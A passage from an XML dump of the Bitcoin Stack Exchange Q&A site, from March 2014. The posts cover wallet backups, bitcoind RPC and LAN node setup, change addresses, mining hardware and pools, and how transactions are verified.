  <row Id="23341" PostTypeId="2" ParentId="23267" CreationDate="2014-03-10T21:57:55.387" Score="1" Body="&lt;p&gt;&lt;strong&gt;WARNING: Triple-check you have a backup of all of your Bitcoin-Qt and Armory wallets before deleting anything.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleting the Armory and Bitcoin data directories (&lt;code&gt;~/Library/Application Support/Bitcoin&lt;/code&gt; and &lt;code&gt;~/Library/Application Support/Armory&lt;/code&gt;) and re-downloading the entire blockchain (starting with a fresh bootstrap.dat) in Bitcoin-Qt fixed this for me.&lt;/p&gt;&#xA;" OwnerUserId="14307" LastEditorUserId="14307" LastEditDate="2014-03-10T22:10:07.557" LastActivityDate="2014-03-10T22:10:07.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23342" PostTypeId="2" ParentId="23337" CreationDate="2014-03-10T22:01:36.867" Score="1" Body="&lt;p&gt;The default port I think should be 8332 not 8832, however if you modify your config file to include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RPCPort=8832&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then restart server and it should work&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-10T22:01:36.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23343" PostTypeId="2" ParentId="23337" CreationDate="2014-03-10T22:03:32.650" Score="-1" Body="&lt;p&gt;You may want to add the following line to your .config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listen=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14139" LastEditorUserId="3089" LastEditDate="2014-03-11T16:32:54.377" LastActivityDate="2014-03-11T16:32:54.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23344" PostTypeId="1" CreationDate="2014-03-10T22:24:27.157" Score="1" ViewCount="238" Body="&lt;p&gt;I am attempting to get two nodes to talk to each other on the testnet, both nodes are on the same LAN.  After starting both nodes with the other node's ip address I get the following error when I check the status:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;error: couldn't connect to server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the debug.log file I have the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;msghand thread start&#xA;dumpaddr thread start&#xA;trying connection 192.168.1.121:8272 lastseen=359579.6hrs&#xA;init message: Done loading&#xA;connected 192.168.1.121:8272&#xA;send version message: version 70001, blocks=0, us=0.0.0.0:0, them=0.0.0.0:0, peer=192.168.1.121:8272&#xA;Added time data, samples 2, offset -18 (+0 minutes)&#xA;receive version message: version 70001, blocks=0, us=0.0.0.0:0, them=124.3.14.162:8272, peer=192.168.1.121:8272&#xA;getblocks -1 to 0000000000000000000000000000000000000000000000000000000000000000 limit 500&#xA;trying connection 124.3.14.162:8272 lastseen=2.5hrs&#xA;connect() failed after select(): Connection refused&#xA;trying connection 124.3.14.162:8272 lastseen=2.5hrs&#xA;connect() failed after select(): Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Public IP: 124.3.14.162&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If two nodes are on the same LAN and they both get the same public IP, will that cause this error?&lt;/p&gt;&#xA;" OwnerUserId="14139" LastActivityDate="2014-03-10T22:24:27.157" Title="can I run two nodes on LAN?" Tags="|bitcoind|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23345" PostTypeId="2" ParentId="17985" CreationDate="2014-03-10T22:34:09.827" Score="0" Body="&lt;p&gt;As described in &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;Running Bitcoin&lt;/a&gt;, you need to either use the -blocknotify command line switch or enable the setting in your Bitcoin.conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the page says, you use a command line script/program and the %s in the command line gets replaced by the new block's hash.  If you need info about the block, you can then look it up using a &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC command&lt;/a&gt; like get-block, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bitcoind installation has a command-line script that uses CURL, which I then use to post an HTTP notification to my web site.  Just an example of how this can be used.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-03-10T22:34:09.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23346" PostTypeId="1" CreationDate="2014-03-10T22:41:44.577" Score="1" ViewCount="614" Body="&lt;p&gt;I have three addresses on my Bitcoin Wallet for Android, but when sending coins, I can’t find where to select which address I want to send from.&#xA;I set the second of the three addresses I’ve got as the main address, but when I sent some coins they have been sent from the first of the three.&lt;/p&gt;&#xA;" OwnerUserId="14367" LastEditorUserId="5406" LastEditDate="2016-01-05T13:33:31.527" LastActivityDate="2016-01-05T13:33:31.527" Title="Send addresses in Bitcoin Wallet for Android" Tags="|bitcoin-wallet-app|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23347" PostTypeId="2" ParentId="23346" CreationDate="2014-03-10T23:13:50.107" Score="2" Body="&lt;p&gt;There is no option in Bitcoin to control which address transactions are sent &quot;from&quot;. The Bitcoin client will use one (or more) of your addresses which have previously been sent sufficient funds to cover your new transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this clearer, consider an example. Somebody (person A) sends you (person Y) some coins.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A -&amp;gt; Y1 [2 coins]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now somebody else sends you more coins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B -&amp;gt; Y2 [3 coins]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suppose you want to pay person B 4 coins. What happens is your Bitcoin client will create a transaction with the following three parts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Y1 -&amp;gt; B [2 coins]&#xA;Y2 -&amp;gt; B [2 coins]&#xA;Y2 -&amp;gt; Y3 [1 coin]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you must always spend the &lt;em&gt;entire&lt;/em&gt; amount allocated to an address, your client arranges the transactions so the 3 coins of Y2 are fully spent. Y3 is a new address created by your client for the &lt;em&gt;change&lt;/em&gt;, which comes back to you and remains in your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then spend your remaining 1 coin to person C, your client will create&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Y3 -&amp;gt; C [1 coin]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The address Y3 was created internally by your client and you don't have an option to choose what it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/736/how-does-change-work-in-a-bitcoin-transaction&quot;&gt;How does change work in a bitcoin transaction?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20611/why-do-outputs-need-to-be-spent-entirely&quot;&gt;Why do outputs need to be spent entirely?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-03-10T23:13:50.107" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23348" PostTypeId="1" AcceptedAnswerId="23378" CreationDate="2014-03-11T02:54:51.503" Score="2" ViewCount="170" Body="&lt;p&gt;What if I had a scriptPubKey of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pubKey&amp;gt;OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And an scriptSig of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;sig&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Would that work in the standard client?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why do we need to check the hash?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The only possible reason I could come up with is that it makes a DDOS much more difficult since people aren't flooding the network with invalid signatures that eats up the CPU, and a hash is relatively inexpensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the explanation I have is correct, is it documented anywhere?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiki says that that the pay to pub key hash is &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Generation_Transaction_.28pay-to-pubkey.29&quot; rel=&quot;nofollow&quot;&gt;to prevent a break in the ECDSA&lt;/a&gt; algorithm, but I wonder what the real answer might be. &lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-10-24T19:58:43.150" LastActivityDate="2016-10-24T19:58:43.150" Title="Could the standard pay to address script be simpler? e.g. no compare of the HASH160?" Tags="|transactions|script|p2pk|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23349" PostTypeId="2" ParentId="23321" CreationDate="2014-03-11T03:27:20.560" Score="0" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;  According to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4627/does-blockchain-info-backup-wallet-include-also-the-next-addresses&quot;&gt;this answer&lt;/a&gt;: Future addresses are not backed up, but you should have the option to receive a new email backup every time you make a transaction.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Without an official statement from Blockchain, you should assume that the backup does &lt;strong&gt;not&lt;/strong&gt; allow you to restore future funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of this answer, Blockchain states that &lt;a href=&quot;https://blockchain.info/wallet/backups&quot; rel=&quot;nofollow noreferrer&quot;&gt;they back up your wallet every 24 hours&lt;/a&gt;, which indicates they are probably not using &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;deterministic wallets&lt;/a&gt; (deterministic wallets only need to be backed up once and can restore all existing and future private keys).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://blockchain.info/wallet/backups&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info Backups&lt;/a&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your wallet is automatically saved on at least two separate servers and is backed up to an offsite location every 24 hours.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4627/does-blockchain-info-backup-wallet-include-also-the-next-addresses&quot;&gt;this answer&lt;/a&gt; also states that the &quot;keypool&quot; is &lt;strong&gt;not&lt;/strong&gt; enabled on Blockchain, which means future addresses would not be backed up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description of the keypool from &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;en.bitcoin.it&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The wallet contains a pool of queued keys. By default there are 100 keys in the key pool.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-03-11T04:03:28.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23350" PostTypeId="2" ParentId="23348" CreationDate="2014-03-11T04:00:38.127" Score="1" Body="&lt;p&gt;This is not useful because anyone can redeem it with a valid ECDSA signature signed under ANY key.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-11T04:00:38.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23351" PostTypeId="1" CreationDate="2014-03-11T04:55:25.120" Score="-3" ViewCount="195" Body="&lt;p&gt;I have just learnt about Bitcoin and Bitcoin mining. Is it really important to buy Bitcoin mining hardware like BFGMiner to earn Bitcoins ? Can't we just download the software and join a pool?&lt;/p&gt;&#xA;" OwnerUserId="14373" LastEditorUserId="5406" LastEditDate="2016-03-06T21:49:04.400" LastActivityDate="2016-03-06T21:49:04.400" Title="Is it important to buy Bitcion hardware to start mining?" Tags="|mining-hardware|" AnswerCount="2" CommentCount="1" ClosedDate="2014-03-11T22:02:53.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="23352" PostTypeId="2" ParentId="23351" CreationDate="2014-03-11T05:04:02.990" Score="3" Body="&lt;p&gt;No, you can't. Your existing hardware is general purpose and is so inefficient at mining Bitcoins that the value of the Bitcoins you mined would be a tiny fraction of the cost of the electricity it would use. Think of existing miners as aircraft carriers and your computer as a bow and arrow, at least when it comes to mining Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-11T05:04:02.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23353" PostTypeId="2" ParentId="23351" CreationDate="2014-03-11T05:53:51.380" Score="0" Body="&lt;p&gt;I agree with what David said. However, if you have a GPU, then you can mine Scrypt coins like Litecoin or Dogecoin. For Nvidia GPUs, check out &lt;a href=&quot;https://github.com/cbuchner1/CudaMiner&quot; rel=&quot;nofollow&quot;&gt;CudaMiner&lt;/a&gt;, and for AMD GPUs, check out &lt;a href=&quot;https://github.com/veox/sgminer&quot; rel=&quot;nofollow&quot;&gt;sgminer&lt;/a&gt;. CPUs aren't really worth the effort to mine with, even for CPU-only coins like Primecoin (where an Intel Xeon can probably get you $1 a day).&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-11T05:53:51.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23354" PostTypeId="2" ParentId="14408" CreationDate="2014-03-11T06:00:15.557" Score="0" Body="&lt;p&gt;On the front page of &lt;a href=&quot;http://block-explorer.com&quot; rel=&quot;nofollow&quot;&gt;http://block-explorer.com&lt;/a&gt;, there will be a table, and the top number under &quot;Block #&quot; is the most recent block. On an address page, it will let you know the block number of the transaction that was sent to your address. If you subtract the two and add 1, you will get the number of confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Suppose the most recent block is 12345. The transaction received by your address was included in block 12342. Then the number of confirmations is 12345 - 12342 + 1 = 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also, why the +1? Think about it: If the transaction is included in the most recent block, the difference between the two block numbers will be 0, but the number of confirmations is 1.)&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-11T06:00:15.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23355" PostTypeId="2" ParentId="22604" CreationDate="2014-03-11T06:09:08.930" Score="2" Body="&lt;p&gt;The primary limiting factor is memory. As N increases, memory starts to become the most expensive component, whether's it's in a GPU or an ASIC. For example, let's say the memory needed to achieve a certain level of parallelization costs $800. Now a GPU chip costs $400, while an ASIC chip costs $100. So the GPU costs $1,200 overall while the ASIC costs $900. This represents only 25% cost savings, making people hesitant to buy a device which is useful for only one task and thus may be worthless in a few years (if GPU mining becomes unprofitable, they could always offload the GPU at half price or more to gamers).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To me, adaptive-N-factor is just like one of BTC difficulty things. No one is mining BTC with miners whose hashrate is MHs or 10GHs or below, although all BTC miners are using the same proof-of-work algorithm &lt;code&gt;SHA&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not true. Difficulty is a very simple parameter that does not affect the computations done; it merely is a threshold for determining which hashes are in and which are out. The N-factor actually affects the running of the Scrypt-N algorithm.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-11T06:09:08.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23356" PostTypeId="2" ParentId="17491" CreationDate="2014-03-11T06:18:27.467" Score="2" Body="&lt;p&gt;The pool might be adjusting your share difficulty level. For example, you might be mining at 50 KH/s and the pool is setting your share difficulty at 16. If you then increase your hashrate to 100 KH/s and the pool changes your share difficulty to 64, then you will submit shares half as fast, but receive four times as much credit for a share at difficulty 64 as a share at difficulty 16. Ultimately, you get paid twice as much mining at 100 KH/s as at KH/s, so don't worry about it.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-11T06:18:27.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23357" PostTypeId="2" ParentId="10437" CreationDate="2014-03-11T06:23:07.030" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/pooler/cpuminer&quot; rel=&quot;nofollow&quot;&gt;cpuminer&lt;/a&gt;. Just make sure you have all the dependencies, compile, and run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd -o stratum+tcp://name-of-pool.com:port -O username.workername:password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-11T06:23:07.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23358" PostTypeId="2" ParentId="5232" CreationDate="2014-03-11T06:27:02.003" Score="2" Body="&lt;p&gt;Here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bmS3r.jpg&quot; alt=&quot;Peercoin Total Money Supply&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this chart goes only up to March 2014. In the future, when proof of stake dominates, there will be a steady 1% inflation every year, but also 0.01 PPC will be destroyed every transaction. It is not known exactly what will happen, i.e. whether the 1% inflation or the destruction of coins every transaction will be a more significant factor.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastEditorUserId="13700" LastEditDate="2014-03-11T17:42:03.783" LastActivityDate="2014-03-11T17:42:03.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23360" PostTypeId="1" CreationDate="2014-03-11T06:43:10.613" Score="2" ViewCount="486" Body="&lt;p&gt;I understand that Bitcoin is a distributed system based on the blockchain, and I understand that transfers/transactions are stored in the blockchain, which exists on many servers around the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But where are wallet/account addresses stored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that there are different kinds of wallet apps, local, online, etc. But the number/string that represents the wallet address within the Bitcoin ecosystem: where does that primarily live? When you create a wallet and produce that address number, do you take dibs on it in some way such that nobody else can get the same address number? What prevents duplication? Is there a null transaction recorded in the blockchain everytime a new wallet is created for the purpose of taking dibs on the wallet address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what I'm saying or talking about--please elucidate!&lt;/p&gt;&#xA;" OwnerUserId="14374" LastActivityDate="2017-09-07T12:57:06.007" Title="Within the Bitcoin ecosystem where are wallet addresses stored/reserved?" Tags="|wallet|address|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23361" PostTypeId="2" ParentId="17857" CreationDate="2014-03-11T06:51:47.290" Score="-2" Body="&lt;p&gt;You may want to try &lt;a href=&quot;https://www.BuyBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;https://www.BuyBitcoins.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are a little more expensive than other bitcoin exchanges, but allow you buy bitcoins with prepaid credit cards. (Visa only)&lt;/p&gt;&#xA;" OwnerUserId="14375" LastActivityDate="2014-03-11T06:51:47.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23362" PostTypeId="2" ParentId="22436" CreationDate="2014-03-11T07:44:00.607" Score="1" Body="&lt;p&gt;Just right-click on the top bar, and it will bring up a menu that allows you to close it.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-11T07:44:00.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23363" PostTypeId="1" AcceptedAnswerId="23366" CreationDate="2014-03-11T07:53:01.913" Score="2" ViewCount="388" Body="&lt;p&gt;I have few doubts regarding verification of transaction and am trying to find answers from last few days. I agree similar post exist in this portal but I am not getting satisfactory answer for my questions. Its also fine if you can paste link which has detailed analysis of transaction verification if its annoying to answer same questions again and again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Since block is created after constant number of transactions is it the case that, until that number of transactions are accumulated all transactions remains on hold? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Since there is only one coinbase transaction per block does this mean that all the rewards are accumulated in single transaction and then distributed among the winners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) When transaction is verified what exactly it verifies and how it verifies ?&#xA;Here major part of my confusion is. As per my understanding it checks each and every transaction from beginning of time by verifying signatures to check whether given transactions are unspent or not which I feel is unpractical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time     &lt;/p&gt;&#xA;" OwnerUserId="13711" LastEditorUserId="13711" LastEditDate="2014-03-11T08:12:12.753" LastActivityDate="2014-03-11T08:20:01.923" Title="Verification of transaction once trasaction is broadcasted" Tags="|blockchain|signature|verification|mining-reward|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23364" PostTypeId="2" ParentId="23360" CreationDate="2014-03-11T07:58:33.167" Score="3" Body="&lt;p&gt;When you create an address, it is stored in your wallet. It is not recorded on the blockchain until someone executes a transaction that includes the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not necessary to reserve your address since &lt;strong&gt;it is statistically impossible that someone else will generate the same address&lt;/strong&gt; (with some caveats, see below). Here is what happens when you create a new address in your wallet:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your private key (for spending funds) is derived from a random number between 1 and 115792089237316195423570985008687907852837564279074904382605163141518161494337. Assuming the number was &lt;a href=&quot;http://arstechnica.com/security/2014/01/how-the-nsa-may-have-put-a-backdoor-in-rsas-cryptography-a-technical-primer/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;truly random&lt;/strong&gt;&lt;/a&gt;, you don't need to worry about someone &lt;a href=&quot;https://www.schneier.com/blog/archives/2009/09/the_doghouse_cr.html&quot; rel=&quot;nofollow&quot;&gt;guessing this number&lt;/a&gt; since the number of possibilities is so ridiculously large.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The matching public key (for receiving funds) is derived from the private key &lt;a href=&quot;http://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow&quot;&gt;in a way that is irreversible&lt;/a&gt;, and is used to generate the address where you can receive payments. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=24268.0&quot; rel=&quot;nofollow&quot;&gt;There are 2^160 possible addresses&lt;/a&gt; (1461501637330902918203684832716283019655932542976).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The private and public keys are saved together as a &quot;pair&quot; in your wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14307" LastEditorUserId="14307" LastEditDate="2014-03-13T23:54:27.907" LastActivityDate="2014-03-13T23:54:27.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23365" PostTypeId="2" ParentId="23360" CreationDate="2014-03-11T08:17:28.507" Score="1" Body="&lt;p&gt;To make this as simple as possible: When you create an address, you're the only one who knows how you created it. To spend funds sent to an address, you must know how that address was created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be a little more precise, Bitcoin uses an irreversible operation in the address generation process. You take a large random number and store that number anywhere you like. You then apply that irreversible operation to generate the address. Now, if anyone sends Bitcoins to that address, you use the large random number to claim them.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-11T08:17:28.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23366" PostTypeId="2" ParentId="23363" CreationDate="2014-03-11T08:20:01.923" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Since block is created after constant number of transactions is it the case that, until that number of transactions are accumulated all transactions remains on hold?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your premise is false. Blocks are not created after a constant number of transactions. They are created whenever someone manages to create one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) Since there is only one coinbase transaction per block does this mean that all the rewards are accumulated in single transaction and then distributed among the winners?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Each block has a coinbase transaction that rewards the miner who generated that block.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) When transaction is verified what exactly it verifies and how it verifies ? Here major part of my confusion is. As per my understanding it checks each and every transaction from beginning of time by verifying signatures to check whether given transactions are unspent or not which I feel is unpractical.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't have to actually do this. You just have to produce the same results as you would if you did this. Since you check each transaction as it occurs, there's an obvious optimization -- there's no need to check transactions you've already checked. That will be every past transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you check that the transaction is well-formed, properly signed, doesn't spend out more money than it pulls in (unless it's a coinbase transaction), and that all the funds it pulls in come from valid transactions and haven't yet been spent.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-11T08:20:01.923" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23367" PostTypeId="2" ParentId="23324" CreationDate="2014-03-11T09:18:14.337" Score="3" Body="&lt;p&gt;If you live in the states the only service that comes close to this would be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.xmlgold.eu/&quot; rel=&quot;nofollow&quot;&gt;https://www.xmlgold.eu/&lt;/a&gt;  - you can even order a pre-paid credit card that you are able to top up with bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.okpay.com/en/index.html&quot; rel=&quot;nofollow&quot;&gt;https://www.okpay.com/en/index.html&lt;/a&gt; - Okpay used to offer the same service but due to regulatory reasons they have ceased offering thier services to US citizens.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other way I can think of to do this would be to use &lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com/&lt;/a&gt;  here you  can see if you can find anyone willing to pay off your credit card for bitcoins.  Its kind of like online trading pit.  Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-11T09:18:14.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23368" PostTypeId="2" ParentId="23305" CreationDate="2014-03-11T09:31:11.900" Score="0" Body="&lt;p&gt;There are a few things I would recommend here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure ALL your drivers and firmware are the most up to date available (including your bios)  I had an issue with a single R9 290x that was resolved with a BIOS update.&lt;/li&gt;&#xA;&lt;li&gt;Check ALL your bios settings look for anything that might effect the power regulation to the cards.&lt;/li&gt;&#xA;&lt;li&gt;Use CGWatcher to to run the rig (not compulsory but it will make your life easier in the long run)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If this doesn't help then I suggest you try what Chris's brother did, pull a single card see if it helps.  (If that resolves the issue it could be an issue with the power rail on the PCIE lanes)  I realize they are powered GPU's but a friend of mine and I were once discussing large rigs such as this and he said that in some cases you need to use powered PCIE Risers like:&#xA;&lt;a href=&quot;http://www.amazon.co.uk/s?ie=UTF8&amp;amp;field-keywords=SuperHash&amp;amp;index=computers&amp;amp;search-type=ss&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.co.uk/s?ie=UTF8&amp;amp;field-keywords=SuperHash&amp;amp;index=computers&amp;amp;search-type=ss&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. I know too well the frustration of broken rigs.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-11T09:31:11.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23369" PostTypeId="2" ParentId="17857" CreationDate="2014-03-11T09:33:57.013" Score="0" Body="&lt;p&gt;XML gold offer this service:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.xmlgold.eu/&quot; rel=&quot;nofollow&quot;&gt;https://www.xmlgold.eu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so long as you are not a US citizen so do OKPay again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.okpay.com/en/index.html&quot; rel=&quot;nofollow&quot;&gt;https://www.okpay.com/en/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-11T09:33:57.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
